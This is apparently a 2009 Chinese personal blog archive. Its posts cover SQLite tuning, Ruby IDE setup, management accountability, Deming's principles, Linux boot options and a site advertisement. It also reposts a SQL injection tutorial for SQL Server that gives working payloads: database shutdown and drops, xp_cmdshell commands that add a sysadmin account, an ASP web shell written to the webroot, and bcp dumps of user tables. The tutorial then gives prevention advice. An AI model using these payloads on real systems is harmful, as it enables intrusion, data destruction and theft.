2009年12月27日 星期日

sqlite

gui 的sqlite

sqlite administrator

下載

http://download.orbmu2k.de/download.php?id=19

就可以直接用了

有中文模組

解決 sqlite administrator import / insert 很慢的問題 :
因為sqlite 預設是每一筆insert都會作fsync, 以確保檔案寫入,所以會很慢
有1000筆資料要 import / insert, 就會作1000次開關DB以及wait資料寫入的動作
兩個解法:
在開啟DB後
PRAGMA synchronous=OFF 這個指令
或著用 BEGIN; and COMMIT; 把 INSERT 包起來
當成一個transaction載入


2011/01/19

PRAGMA cache_size = 400000;
PRAGMA synchronous = OFF;
PRAGMA journal_mode = OFF;
PRAGMA locking_mode = EXCLUSIVE;
PRAGMA count_changes = OFF;
PRAGMA temp_store = MEMORY;
PRAGMA auto_vacuum = NONE;

Ruby in Eclipse

先安裝 ruby for windows one-click-installer

http://www.ruby-lang.org/en/downloads/

安裝 Aptana(其實是eclipse的核心, 所以也可以直接由eclipse安裝Aptana)

http://www.radrails.org/

download http://www.radrails.org/download/

standalone windows zip

解開,直接執行,會自動抓到安裝的Ruby路徑

Debug 模式一直有問題,還沒解決

2009年12月23日 星期三

釐清、化解對當責的5個誤解

然而有時明明已經力行「當責」,卻未能交出令人滿意的成果,中間究竟哪裡出了錯?其中主要原因,在於人們對當責的概念出現某些誤解,以致於功敗垂成。

當責式管理的意義是:已經準備好去做任何必須做的事,不但能完成工作,還能交出成果。然而有時明明已經力行「當責」,卻未能交出令人滿意的成果, 中間究竟哪裡出了錯?其中主要原因,在於人們對當責的概念出現某些誤解,以致於功敗垂成。 一般來說,對當責的主要幾個誤解,包括:

1.過於低估「個人期望值」(personal expectations);
2.沒有活出誠信正直的意義;
3.將當責視為名詞而非動詞;
4.不能釐清變革與衝突與當責直接相關;
5.沒有幫助其他人發展 個人當責(personal accountability)。

以下針對這5個誤解,分別提供解決方法:

方法1:訂定高標準「個人期望值」
當責的啟動不是從外部(without),而是從內部(within),因此,最基礎的步驟就是訂定更高的個人期望值(personal expectations)。不過,需要注意的是,經理人經常誤以為「個人期望值」就是其他人(包括老闆與部屬)對於自己的最佳詮釋,這是非常危險的事 情,因為別人對自己有時候可能會有錯誤的期望。至於如何設定期望值?這裡有5個協助經理人設定期望值的關鍵:
1.設定清楚的期望值:有成效的經理人,絕不會讓事情出現模糊不清或模稜兩可的情形,因此,目標的設定要盡量明確、精準,讓責任感能夠很確切。

2.全心全意承諾,完成你的期望值:當責式管理的意義是:已經準備好去做任何必須做的事情,完成工作並且交出成果。因此,要培養自己能夠在沮喪中堅持、在 考驗中挺立,以及處理失望打擊的能力,不論受到各種誘惑,仍然必須持續忠於承諾。

3.確定「對自己而言,這個期望值是務實的」:除了確認自己「可以達到」預設的期望值,也要確保期望值是「可達成的」,而非遙不可及、不切實際的夢想。

4.寫下期望值:明確寫下期望值,同時也寫下可能阻礙自己達成期望值的事物,保持隨機應變的彈性。也就是說,當期望值面臨威脅時,至少可以立即採取迴避的 措施。例如,自問:「達成了期望值之後,將對我造成什麼樣的效應?」

5.定義期望值:我們必須定義:成功會是什麼樣貌?什麼型態?或是什麼時候能夠確定自己已經達到成功?換句話說,當責式管理者會自問:「對我來說,這件事 是對的嗎?現在執行這個專案是對的時機嗎?」

方法2:活出「誠信正直」的真義
許多經理人以為,「當責」相當於倫理道德,但事實並不然。成功的當責式領導,根植於高水準的個人誠信正直(personal integrity),沒有任何一件事情可以取而代之。 會影響當責式管理的兩大阻礙分別是:唯唯諾諾的人(yes man)與討好者(pleaser)。誠信代表行動,身為經理人,應盡可能避免做個唯唯諾諾的人,因為這樣只會影響事情的進行,而且距離真實更遙遠。

方法3:將「當責」視為「動詞」
要注意的是,當發生問題時,許多人習慣將問題以「當責」包裹,例如,拋下一句「相信我,這絕對不會有問題」,而後卻一走了之、不見蹤影。 當責式管理者必須了解,「當責」是「動詞」、而非「名詞」;既然是「動詞」,就要確保是立即能啟動的「行動」,否則當責很容易流於「耍嘴皮子」,成為永久 無法付諸行動的「名詞」。
1.「小事情」的重要性:一名伐木工頭詢問一位勤奮砍樹的伐木工人,為什麼總是達不到規定的伐木量?工人回答:「我一直很努力工作,所以忘了磨利斧頭。」 磨利斧頭是一件小事情,但是卻很重要。因此,千萬別因為「事小」而輕忽它,「小事情」有可能是最重要的。

2.不要計畫過度:有當責的經理人必須擁有願景,而高標準的當責也必須事先有完整的計畫,但是也不能為了計畫而計畫,或是好高騖遠,必須讓自己所做的貢 獻,都謹守在讓組織更進步的活動範圍內。

3.工作更有效率:一個人不可能完成所有的工作,想要工作更有效率,必須有其他人參與。

4.做好準備:如同螞蟻會在冬眠之前,將糧食囤積妥當一般,預先做好周延準備,是生死攸關的事。

方法4:接受變革與衝突

衝突究竟對於變革有什麼樣的幫助?對於經理人來說,接受衝突是生活中極為自然的一部分,遠比恐懼衝突或逃避衝突更有建設性。關於衝突的3個誤解包括:

誤解1:衝突都是負面的 衝突有許多種形式,不見得所有衝突都是負面的。雖然我們必須承認,「衝突」與「不同意」之間存在著差別,但是情況也有可能是,在一個人看來只是簡單的不同 意,看在另一個人眼中卻是激烈的衝突。 因此,關鍵在於自己要用什麼樣的角度與立場,來看待「衝突」。如果以正面思考,那麼衝突當中說不定隱含著自我成長的契機,自己也會因此而擁有一個完全不同 的方法與結果,不會只是企圖想要躲避或離開。

誤解2:衝突會造成傷害 如果因為衝突而產生自我防衛的心態,甚至試圖以雄辯壓制對方,則表面上看似贏得勝利,實際上卻可能因此而關上了聆聽的耳朵,阻礙自我成長的契機。長遠來 看,並不是真正的勝利。

誤解3:人們無法處理衝突 衝突可以協助經理人發現「真正的自己」,以及人格特質中的強項。人們在面對衝突時的反應,往往會顯露出真正的自己,例如可以知道自己對於衝突容忍的極限, 或是多麼嚴重的事情可以引起自己的惱怒。 推動「當責式管理」時,許多經理人難免會心生恐懼,因為變革與衝突往往是一體兩面。不過,假使變革初期確實引發了衝突,可試試以下兩個方
法,克服自己對於 衝突的恐懼。

1.想要有效領導,就必須克服恐懼:關鍵在於——忘記白雪公主或萬人迷情結。千萬不要為了討好每一個人,或是為了讓自己受人歡迎,而忽略了真正的重點。所 謂真正的重點,就是身為經理人,要清楚知道對於組織和部屬而言,什麼才是「真正對的事情」。 換句話說,經理人要學習不要太在乎別人如何看待自己,只需要關心「什麼是必要的?」「什麼又是對的?」

2.清楚「我們往何處去?要做些什麼?」:誠信,是領導中不可或缺的要素;誠信如同羅盤,引領人們走往正確的方向,做對的事。

方法5:幫助旁人發展個人當責

塑造一個正確的環境,讓個人當責能夠生根。具體的做法有以下4項:

1.迎接它:收起防衛的態度,張開耳朵聆聽所有回饋(feedback)。當我們意圖以防衛的姿態自保之時,很容易會變得冷硬難以溝通,而我們將必須為此 付出代價。

2.展示它:讓別人知道,自己為自己承擔起當責,也要求別人承擔起當責。

3.利用機會教導當責:說明我們自己正在做什麼,以及為什麼這麼做,以提供洞見(insight)給對當責有所困惑或混淆的人。

4.不質問別人的「動機」:當我們試圖不去質問別人的動機時,別人也會避免質問我們的動機。 遇到不可理解的事情時,不妨這麼問:「我知道我可能是錯的,但是就我所知,這件事應該是這樣的,你是不是方便告訴我,你的看法是什麼?」

Accountability 當責

經理人月刊(第56期):當責-做到120%的專業主義 (2009/7/2)

為「最終成果」負「完全責任」

當責(accountability)不只是負責,是要完成「自己承諾的事」,為最終成果負起完全責任,就算有不可抗力的意外,也不能擺出「我責任已盡」的態度,依舊要說明原因、提出解釋、設法解決,讓推拖到此為止。

整理‧撰文/林奐呈

什麼是「當責」(accountability)?你或許看過「accountability」「accountable」這兩個英文字,你的理解 或翻譯是什麼?是「responsibility」「responsible」(責任、負責)的同義詞嗎?還是你隱約察覺有所不同,但是也找不到更適切的 中文翻譯?

「當責」二字,是採用《當責》一書作者張文隆對於「accountability」的中譯。本期封面故事,要談的就是「accountability」的概念與工具,不只是「負責」而已,而是要你「負起完全責任,交出成果」。

把事做完,還要做得更好

要解釋「當責」的概念,很容易愈說愈抽象,不過如果從實際的情境切入,大概很快就能體會何謂「負起當責」的人,又與「沒有當責」的人有何不同?

在接獲主管指示將某份文件交給A公司總經理後,「當責者」並沒有隨手就將文件放入信封、貼上郵票,然後寄出給對方,而是立即詢問主管:「這是否為急件?」「要叫快遞嗎?」等到文件送出後,再與收件人確認是否收到。

至於「沒有當責」者,又是如何呢?他很「負責地」即刻把文件塞入信封,貼上郵票,投進郵筒。日後當主管發現對方尚未收到文件,前來詢問時,他會說:「我已經寄出去啦!」「你又沒說要用快遞寄送!」「是郵局把信寄丟了,又不是我的錯!」

「又不是我的錯!」「這怎麼能怪我!」「該做的事我都做了!」……你經常聽到隔壁同事說出這樣的話嗎?又或者你自己就是這樣的工作者?

看過電影《A錢大玩家》(Rogue Trader)嗎?劇情描述一位名叫尼克‧李森(Nick Lesson)的28歲年輕期貨交易員,1995年2月在日本股票市場上豪賭,一個人利用兩個不同的帳戶,大玩套利戲法,而且還濫用職權更改內部稽核系 統,虛構出投資獲利的假象。

之後,一場突如其來的神戶大地震,導致日經指數崩盤,他卻認為只是短暫的損失,因此加倍賭資,希望在市場反彈時大賺一筆,銀行高層不察,仍繼續傾注資金,終至全盤皆輸,產生10億英磅的呆帳。

一夕之間,擁有232年歷史、英國最老牌的霸菱銀行(Barings Bank)宣告倒閉,以最不堪的方式走入了歷史,總結一句,就是缺乏監督。醜聞發生時,所有管理階層交互指責,沒有人肯承認錯誤。

老是將錯誤、責任歸咎於旁人者,豈止一般工作者而已,即使是要承擔起經營責任的高階主管,也經常是食指指向他人,或是雙手一攤,表示毫不知情。

刮風下雨,都是自己的責任

對你而言,「當責」或許是個陌生的字眼,但是當責要解決的問題,你一定非常熟悉。也因此,許多列名《財星》(Fortune)500大的企業,紛紛 將「當責」(accountability)列入企業的使命或價值觀中;《哈佛商業評論》前總編輯史東(Nan Stone)直言:「當責」將成為未來10年的熱門用語;谷歌(Google)全球副總裁李開復則說:「當責」是最新管理理念的全方位視角。

以微軟(Microsoft)為例,「accountability」就是該公司六大價值觀之一,其定義如下:

「accountability」是說到做到,並且為所做的承諾擔起責任。每當承諾要完成某件事,那件事就會被完成。信任就是如此建立起來的。不只是對同事、員工如此,對顧客、事業夥伴與股東也是如此。

有時候,難以預料的事情發生,導致承諾的事情無法兌現。但即使是在這樣的情況下,還是有accountable的方式可以做出因應:誠實、對於發生了什麼狀況做出解釋。這麼做的目的不是為了捍衛自己,而是為了維繫關係。找出解決方案。把事情做對、做好。

由此可見,當責是要完成「自己承諾要完成的事情」,也就是為「最終成果」負起「完全責任」,就算有「出乎意料、超出自己掌控」的因素發生,導致成果 無法達成,也不能擺出一副「我責任已了」「這一切不是我能控制的」「是天要亡我」「我運氣真不好」的態度,依舊要負起當責:誠實說明原因,提出解釋,並且 設法解決問題。

所以,當責並不是「唯成果是問」或是「不擇手段非交出成果來」,而是一種工作者是如何看待自己對自己與他人所許下的承諾。凡是重然諾的人,就會「想 盡辦法」達成任務,而非「用遍藉口」推諉塞責;即使最終未能使命必達,也不會逃避推託,把責任都歸罪到別人身上,而是會積極地構思補救之道。

對他人許下承諾、交出成果

無論是當責或負責,雖然都會對事或對人下承諾,不過負責是對自己下的承諾,常只是對自己的良心負起責任;當責的承諾對象還包括老闆、同事、客戶,乃至社會。

元智大學講座教授許士軍曾說:「對誰負責,至關重要。」從另一角度看,在當責文化的薰陶下,工作者將不會沉迷在「沒有功勞,也有苦勞」「雖敗猶榮」「只問耕耘,不問收穫」的泥沼中,難以自拔也自我墮落。在當責式管理下,你要「交出成果」,交不出成果,就是失敗。

《當責》作者、推動當責概念不宜餘力的張文隆指出,責任有3個等級:

第一級是官僚:只關心自己的工作方式,完全不在乎客戶需要或成果;

第二級是負責:有責任感的人會確實執行被交付的任務及對自己所訂下的承諾,並產出結果,不過通常不願承擔額外過失責任。

第三級是當責:不只交出成果,更常會「Under Promise,Over Delivery」,亦即提供給顧客意料之外的滿意。例如,電腦受損送回給原廠維修,客服人員告知你,維修時間需要7天,但3天後你就收到通知,說電腦已 經維修完畢,這時你一定對於業者的服務品質大大加分。相反地,若是到了第7天還沒有回應,就算客服提出任何理由,客戶都是聽不進去的。

我們必須記住,對別人的承諾代表了你的信用,等到事情不如當初所承諾時,任何藉口都已太遲,「當責精神的產出目標不是100%,而是120%。」

不怨天尤人,不當受害者

當責的精神令人滿意、甚至感動,而無法當責的態度,則往往令人恨得牙養癢的,但偏偏自己有時候又難免有類似反應。

約翰‧米勒(John Miller)在《QBQ!問題背後的問題》書中提到了以下的例子:
一次我在加油站的便利商店,想找杯咖啡喝,當時咖啡壺是空的,於是我跟櫃臺後的先生說:「抱歉,沒咖啡了。」他指著距離不到15呎的同事說:「咖啡歸她的部門管!」

米勒聽後大為感嘆:「部門?在一個跟我家客廳同樣大小的路邊加油站?」

另外還有一次披薩外帶店漏掉了米勒點的餐,他只好踱步等待,飢腸轆轆的家人則待在車上,就在此時,櫃檯後的年輕人出其不意地說:「嘿,別怪我,我才剛換班呢!」

無論身處大企業、小公司或單純自己開家小吃店,如果你經常脫口而出「不關我的事」「是別人的錯」,甚至是「為什麼某某人工作老是出狀況,害我被罵」「為什麼我運氣這麼差」「老闆怎麼可以這麼不公平」,那麼你很可能陷入了「受害者循環」(victim cycle)中。

所謂的「受害者循環」正是當責的反面,每當你落入了「被害情結」,就只會跟其他成員相互指責、踢皮球、打太極拳、尋找代罪羔羊。誠如大衛‧迪利 (David Dealy)和安德魯‧湯瑪斯(Andrew Thomas)在《當責式管理》(Managing by Accountability)書中所言,人們通常對事情並不太會有承諾的,他們只是很自然地做了他們所當做的,也正「因為人類的本性,我們才有了當 責。」

然而,切記奇異(GE)前任執行長傑克‧威爾許(Jack Welch)在《致勝》(Winning)一書所說的話:「商場上,不管是什麼狀況,視自己為受害者,只會自取其敗。……這種態度會斷了你所有的出路,這甚至是職涯死亡漩渦的開端。」

從找藉口到找結果,建立當責文化

今年,台灣大學98級、第13屆EMBA「新生開學營」(Oriental Camp)中,第一堂課就特別提出「當責」的議題。台大EMBA執行長陳鴻基強調,這是希望這群高管新生們能在正式開課前,就先建立起「當責」觀念,未來 兩年才能在人生觀、事業、乃至生活上有所受益,畢竟到EMBA上課,不是只來學「外功」的,也要有扎實的「內功」,來增強外功的力道。

當今的管理工具多如繁花,多數是由外在理性科學的角度出發,制定出應遵守的規範,「當責」的管理概念,則是回歸人的價值觀,是一種由人類內心所產生的信念,正如陳鴻基所說:「當責是一種價值觀的改變」。

一個人很難自覺而去當責,因而需要藉助於文化的力量。如果組織中每一個人都能從「Get Reasons!」(找藉口)轉移到「Get Results!」(找結果),每一個人都練習把自己的責任往外擴張一些,那麼無論是個人或企業,都能在市場中找到難以取代的優勢。

「The Buck Stops Here!」是美國總統哈利‧杜魯門(Harry Truman)的名言,意思是「責任推拖,到此為止」。即使眾人都對政事推卸責任、互踢皮球,但是到了他身上,就無可推卸,他會全然負起決策成敗的責任。 同樣地,在一個充分落實「當責」文化的組織中,每個人都很清楚:「有當責的人會責怪誰?誰都不怪,甚至包括自己在內。」

2009年12月22日 星期二

Deming's 14 Points

1."Create constancy of purpose towards improvement". Replace short-term reaction with long-term planning.

2."Adopt the new philosophy". The implication is that management should actually adopt his philosophy, rather than merely expect the workforce to do so.

3."Cease dependence on inspection". If variation is reduced, there is no need to inspect manufactured items for defects, because there won't be any.

4."Move towards a single supplier for any one item." Multiple suppliers mean variation between feedstocks.

5."Improve constantly and forever". Constantly strive to reduce variation.

6."Institute training on the job". If people are inadequately trained, they will not all work the same way, and this will introduce variation.

7."Institute leadership". Deming makes a distinction between leadership and mere supervision. The latter is quota- and target-based.

8."Drive out fear". Deming sees management by fear as counter- productive in the long term, because it prevents workers from acting in the organisation's best interests.

9."Break down barriers between departments". Another idea central to TQM is the concept of the 'internal customer', that each department serves not the management, but the other departments that use its outputs.

10."Eliminate slogans". Another central TQM idea is that it's not people who make most mistakes - it's the process they are working within. Harassing the workforce without improving the processes they use is counter-productive.

11."Eliminate management by objectives". Deming saw production targets as encouraging the delivery of poor-quality goods.

12."Remove barriers to pride of workmanship". Many of the other problems outlined reduce worker satisfaction.

13."Institute education and self-improvement".

14."The transformation is everyone's job".


管理原則 說明
1.改善要有目標 企業組織必須有長期的品質目標,並藉以提高產品與服務的品質。
2.採用新觀念 企業組織應採用新的經營哲學與理念,並透過溝通、管理與制度運作,建立所有員工對品質的共識。
3.停止靠檢驗達成品質 最終檢驗無法提升品質,改善品質應最根本做起。
4.廢除最低價競標制度 應慎選供應商,購買高品質的材料與零組件,而非以價格作為選商基礎。
5.持續改善 持續不斷地改善生產與服務系統。
6.建立職訓制度 不斷地對於工實施教育訓練,促使其作對的事情。
7.建立領導體系 管理者應建立領導風格,致力於消除妨礙生產效率的各種有形與無形的因素。
8.掃除恐懼 管理者協助員工面對問題,排除恐懼。不應該讓員工單獨面對問題。
9.破除部門間的藩籬 管理者應建立部門間的溝通管道,掃除部門間的障礙,為改善品質而努力。
10.避免過多的口號 管理者應對改善品質身體力行,而不是一直向員工喊口號、訓誡或訂目標。
11.廢除數字及目標,代之領導 要以優秀的領導達成工作要求,而不是以數字或目標。
12.鼓勵員工 讚揚員工的工作績效,使他們以工作為榮。
13.教育訓練 擬定教育訓練與自我改進計畫。
14.致力轉型 企業組織內的每一個人都應參與品質活動,並促成其工作態度的轉變。

2009年12月16日 星期三

Linux 無法開機常見的解法 acpi=off noapic

原文出自
http://wiki.zh-kernel.org/project/linux-acpi

重點:

系统不能启动

试试kernel参数”acpi=off”,如果此参数没有带来任何改变,那么这不是一个ACPI bug。反之,则这很可能是一个ACPI bug。 确定了是一个ACPI bug后,我们还有其他一些参数来更进一步的区分到底是ACPI哪个部分的bug。

acpi=ht

这个参数和"acpi=off"几乎一样,它禁止了除多处理器配置相关的内容以外的所有ACPI功能。如果acpi=off正常,但acpi=ht 不正常, 则解析ACPI 表或者Linux SMP的代码有bug.

pci=noacpi

禁止使用ACPI来处理任何PCI相关的内容,包括PCI root bus的枚举和PCI设备中断路由。

acpi=noirq

禁止使用ACPI来处理PCI设备中断路由,和pci=noacpi的区别是它允许使用ACPI来枚举PCI root bus.

pnpacpi=off

禁止使用ACPI来枚举PNP设备,比如串口、PS2键盘鼠标等。

noapic

禁止使用io-apic来做设备中断路由,这样做的效果之一是ACPI返回的中断路由表将是针对PIC(8259)的。

nolapic

禁止使用Local-APIC和IO-APIC。

2009年9月2日 星期三

推薦網站 達人村 國考資料好去處

【推薦網站】達人村
【連結位置】http://mysuper.com.tw
【推薦原因】國考生的天堂

天啊?!你還沒加入達人村嗎?
什麼?!你問我達人村可以吃嗎?
在這個資訊爆炸,廣告垃圾信件充斥的網路時代,
「達人村」架構一個平台來跟大家搏感情!
「公職達人」蒐集任何國考資料,完全傾囊相授。
「健康達人」讓您樂活每一天。
「運動達人」活絡你的每一天。
「馬術達人」分享馬術的點點滴滴。
「電腦達人」解決軟硬體任性罷工的問題。
還有,我知道你還要問什麼?
當然是免費,這還用說!達人村是做口碑的啦~*
PS:募集達人中,請各路網友盡情挖掘您身邊的達人來加入我們 ︿︿y

最後就是....講那麼多,那麼好康的事,有吃又有抓,來嘛!來加入就對了嘛!
您想要的一切,達人村都會一起幫您找答案,
完全免費的優質服務網站,等您來一窺堂奧!

2009年8月13日 星期四

SQL Injection – 駭客的 SQL填空遊戲(下)

作者:恆逸資訊 胡百敬
審稿:恆逸資訊 張智凱

前言

在上一期中,我們介紹了透過組合 SQL 語法;以較為簡單的方式侵入網站系統,本期再進一步介紹透過 SQL Server 本身強大的功能,可能完成進一步侵入的動作。

SQL Injection – 駭客的 SQL填空遊戲(下)

SQL Server 本身提供了非常多的函數、預存程序、延伸預存程序來輔助 T-SQL,好讓程式設計師透過 T-SQL 完成商業邏輯運作所需的預存程序。但一般的使用者較熟悉以 Visual Basic 等程式語言來撰寫存取資料的程式,因而對此類的功能所知不多,更別提要如何防範駭客透過這一類的功能來遂行其目的。

使用具破壞力的語法

以下列舉部分的功能稍做討論。

停掉 SQL Server 的執行

直接輸入 Shutdown 命令,要求 SQL Server 停止執行。在網頁上輸入帳號的地方可以直接鍵入以下語法便可:

' ;SHUTDOWN--

破壞內容

當然,只要權限夠,也可以執行有破壞性的 SQL 語法1 。如刪除某個資料庫:

' ;DROP Database <資料庫名稱>--

刪除資料庫內某個資料表:

' ;DROP Table <資料表名稱>--

清空某個資料表:

' ;Truncate Table <資料表名稱>--

抑或是以 DELETE 清空資料表:

' ;DELETE FROM <資料表名稱>--

使用進階且功能強悍的延伸預存程序

這一類的預存程序多以 xp_ 開頭,存放在 master 系統資料庫的延伸預存程序中。有趣的是大部分的延伸預存程序在 SQL Server 所附的線上說明中都沒有列出來,也沒有說明。筆者本想到微軟網站利用全文檢索找尋這些延伸預存程序的蛛絲馬跡,以列表討論,但發現大多是無可奉告 (undocumented),看來延伸預存程序雖然功能強大,但微軟並不鼓勵大家使用。
筆者選幾個較有趣的分別介紹。

執行其他應用程式

xp_cmdshell 應該是大家最常使用的延伸預存程序之一,透過這個延伸預存程序可以 SQL Server 的系統帳號來執行任何應用程式。

以下程式碼列表 1 直接利用作業系統所附的 NET 工具程式,在 Windows 系統中加入一個使用者帳號 Hacker ;沒有密碼,並將該帳號加到 SQL Server,再放入到最大的使用者權力群組 sysadmin:

' ; EXEC MASTER..XP_CMDSHELL 'net user Hacker /add' EXEC MASTER..SP_GRANTLOGIN 'BYRON-XP\Hacker' EXEC MASTER..SP_ADDSRVROLEMEMBER 'BYRON-XP\Hacker','sysadmin'--

程式碼列表 1:加入自訂的使用者,並賦予該帳號最大的權限。

若你還開放網際網路存取 SQL Server預設使用的 TCP 1433 埠,則駭客將有機會唐而皇之地控管 SQL Server。

與 Registry 相關的系統預存程序

SQL Server 提供了大量與 Registry 相關的延伸預存程序,以 xp_reg 開頭作為代表2。內容有:

xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite

駭客可以利用此類的延伸預存程序存取系統的註冊資料,例如查詢該機器上有哪些共享目錄,範例如程式碼列表 2。再利用上一期的技巧,以錯誤訊息來呈現結果。

CREATE TABLE tblShareDir(DirName VARCHAR(100), DirAtt VARCHAR(100))
INSERT tblShareDir EXEC MASTER..XP_REGENUMVALUES HKEY_LOCAL_MACHINE,'system\CurrentControlSet\Services\lanmanserver\shares'

程式碼列表 2:利用 XP_RegEnumValues 取得系統的共享目錄。

再利用上篇文章介紹的以錯誤訊息來呈現結果的技巧,或是以下文中透過 bcp.exe 工具程式將 tblShareDir 輸出成檔案,都可以取得想要的結果。

與 OLE Automation/COM 物件相關的延伸預存程序

SQL Server 提供了一組存取伺服器外部 OLE 物件相關的預存程序。它們分別是:

sp_OACreate
sp_OADestroy
sp_OAMethod
sp_OAGetProperty
sp_OASetProperty
sp_OAGetErrorInfo
sp_OAStop

你可以用它們來建立 OLE 物件(一般COM 物件就可以了,但要支援 IDispatch 介面),執行物件的方法,讀取與修改屬性,進行錯誤處理。但它們無法回應一般 OLE 或 COM 物件的事件。

有了 COM/OLE 物件的建立與執行,對於控制系統來說可算是如虎添翼,無所不能了。稍舉個例子,駭客可以利用它來取得有興趣的網頁的原始碼,如程式碼列表 3:

';DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c type c:\inetpub\wwwroot\sqlinject\login.asp > c:\inetpub\wwwroot\sqlinject\test.txt'--

程式碼列表 3:取得 login.asp 網頁的內容。

在程式碼列表 3 中,利用 SP_OACREATE 建立 “wscript.shell” 物件,並利用 SP_OAMETHOD 呼叫 “wscript.shell” 物件的 run 方法,以執行作業系統命令介面工具程式 cmd.exe,將 login.asp 輸出到 test.txt 檔案中,這時駭客只要在網頁上輸入 http://.../.../test.txt 就可以看到 login.asp 寫作的方式,作為下一步侵入的基本資訊。

當然,駭客也可以利用 Scripting.FileSystemObject 物件來建立一個 ASP 網頁後門,語法如程式碼列表 4 所示:

DECLARE @fs int,@fi int
EXEC SP_OACREATE 'Scripting.FileSystemObject',@fs OUTPUT
EXEC SP_OAMETHOD @fs,'CreateTextFile',@fs OUTPUT,'C:\InetPub\WWWRoot\SQLInject\Shell.asp',1
EXEC SP_OAMETHOD @fs,'WriteLine',null,'<% Set objShell=Server.CreateObject("WScript.Shell") : objShell.Run Request("cmd") %>'

程式碼列表 4:建立 ASP 後門網頁。

從此透過 URL 就可以執行任何執行檔,範例如下:

http://localhost/sqlinject/shell.asp?cmd=C:\WINNT\system32\cmd.exe /c type c:\inetpub\wwwroot\sqlinject\login.asp > c:\inetpub\wwwroot\sqlinject\test.txt

其他相關的延伸預存程序

這一類的延伸預存程序,你可能要小心的還有:
延伸預存程序的名稱 用途 使用範例
xp_availablemedia 顯示系統上可用的磁碟機,如 C:\。 xp_availablemedia
xp_dirtree 顯示某個目錄下的子目錄與檔案架構。 xp_dirtree 'c:\inetpub\wwwroot\'
xp_enumdsn 列出系統上已經設定好的 ODBC 資料來源名稱(DSN Data Source Name)。 xp_enumdsn
xp_enumgroups 列出作業系統上的使用者群組及該群組的說明。 xp_enumgroups
xp_getfiledetails 獲取某個檔案的相關屬性。 xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
dbo.xp_makecab 將目標多個檔案壓縮到某個目標檔案之內。
所有要壓縮的檔案都可以接在參數列的最後方,以逗號隔開。 dbo.xp_makecab
'c:\test.cab','mszip',1,
'C:\Inetpub\wwwroot\SQLInject\login.asp',
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'

xp_ntsec_enumdomains 列出伺服器的網域名稱。 xp_ntsec_enumdomains
xp_servicecontrol 停掉或啟動某個服務。 xp_servicecontrol 'stop','schedule'
xp_servicecontrol 'start','schedule'
dbo.xp_subdirs 只列某個目錄下的子目錄。 dbo.xp_subdirs 'c:\'
xp_terminate_process 停掉某個執行中的程序,但賦予的參數是 Process ID。
利用”工作管理員”,透過選單「檢視」-「選擇欄位」勾選 pid,就可以看到每個執行程序的 Process ID xp_terminate_process 2484
xp_unpackcab 解開壓縮檔。 xp_unpackcab 'c:\test.cab','c:\temp',1

以上表列的延伸預存程序是筆者在 master 系統資料庫中,尋找名稱比較有趣的;經過一一測試的結果。但不代表可以用來侵入系統的延伸預存程序都已經完全列出,畢竟駭客的創意屢屢翻新,你必須要時時謹慎小心。

SQL Server 的工具程式

透過 SQL Server 所提供的一些工具程式可以直接將資料表的內容輸出成檔案,例如透過 bcp 的 out 參數,將儲存會員資料的資料表整個輸出成檔案,範例如下:

bcp northwind.dbo.tblUser out C:\inetput\wwwroot\sqlinject\user.txt -c -Usa -P -SByron-XP

當然,isql.exe 和 osql.exe 也都可以辦到同樣的功能,例如:

osql -Usa -P -SByron-XP -dNorthwind -oc:\inetpub\wwwroot\sqlinject\users.txt -Q"select * from tblUser"

這一類的工具程式可以搭配前文的 xp_cmdshell 延伸預存程序,或是交由利用 sp_OA 系列預存程序建立的木馬 ASP 來執行,都可以達到竊取資料的目的。

對於預防 SQL Injection 的建議

綜合以上各種的侵入技巧,筆者在此歸納一些維護系統安全的建議。

* 儘量地利用 ASP 或 ASP.NET 在伺服器端檢查與限制輸入變數的型別與長度,過濾掉不需要的內容。要注意的是這些檢查不要放在前端。
就算在前端利用 HTML Input 標籤的 MaxLength 屬性,或是以 JScript 撰寫程式來設定欄位長度的限制,只要將該網頁另存新檔,修改內容後(一般只要改寫 Form 的 Action 屬性以及 Input 的 MaxLength 屬性),重新以瀏覽器開啟再執行便可避過這些瀏覽器端的檢查。
* ASP 程式登入 SQL Server 的帳號不要使用 sa,或任何屬於 Sysadmin 群組的帳號,避免有過大的權限。
* sa 一定要有強固的密碼,尤其是 SQL Server 7.0 以前的版本,在裝機時預設 sa 沒有密碼,而一般管理者裝完後也忘了或怕麻煩而不更改密碼。
* 利用 ADO 的 Command 物件或 ADO.NET 的 SqlCommand class 來透過參數執行 SQL 語法,直接以 ADODB 的 Connection 物件執行預存程序的寫法一樣糟糕。範例如下:

Exec spXXX 參數,…

因為駭客所加入的 SQL 語法一樣可以執行:

Exec spXXX 參數,…;SHUTDOWN

我們可以建立一個預存程序程式碼列表 5:

ECREATE PROC spUserAccount
@UserName NVarchar(50),@Password NVarchar(50)
AS
SELECT UserName,Password FROM tblUser
WHERE UserName=@UserName AND Password=@Password

程式碼列表 5:用來找尋符合的使用者帳號密碼的預存程序。

同時將整個 ASP 的查詢換成如程式碼列表 6 的寫法:

<%
If Request("UserName")<>"" And Request("Pass")<>"" Then
Dim cnn,rec,strSQL,cmd
Set cnn=Server.CreateObject("ADODB.Connection")
With cnn
.ConnectionString=Application("Conn")
.Open
End With
'透過 ADODB.Command 物件來搭配預存程序,駭客就無法
'利用組合 SQL 字串的方式來侵入系統
Set cmd=Server.CreateObject("ADODB.Command")
With cmd
.ActiveConnection = cnn
.CommandText = "spUserAccount"
.CommandType = 4 'adCmdStoredProc
.Parameters.Append .CreateParameter("UserName", 202, 1, 50, Request("UserName"))
'202 代表 adVarWChar,1 代表 adParamInput
.Parameters.Append .CreateParameter("Password", 202, 1, 50, Request("Pass"))
Set rec = .Execute()
End With
If NOT rec.EOF Then
Session("UserName")=Request("UserName")
Response.Write "歡迎光臨 " & Request("UserName")
Else
Response.Write "您的帳號/密碼輸入錯誤"
End If
Else
%>

程式碼列表 6:利用 ADODB 的 Command 物件來存取預存程序。

如程式碼列表 6 中灰色的程式碼區塊,將存取 SQL Server 預存程序的方式改以透過 ADODB 的 Command 物件,如此駭客就不能用加入自訂 SQL 的語法來要求 SQL Server 執行額外的動作。

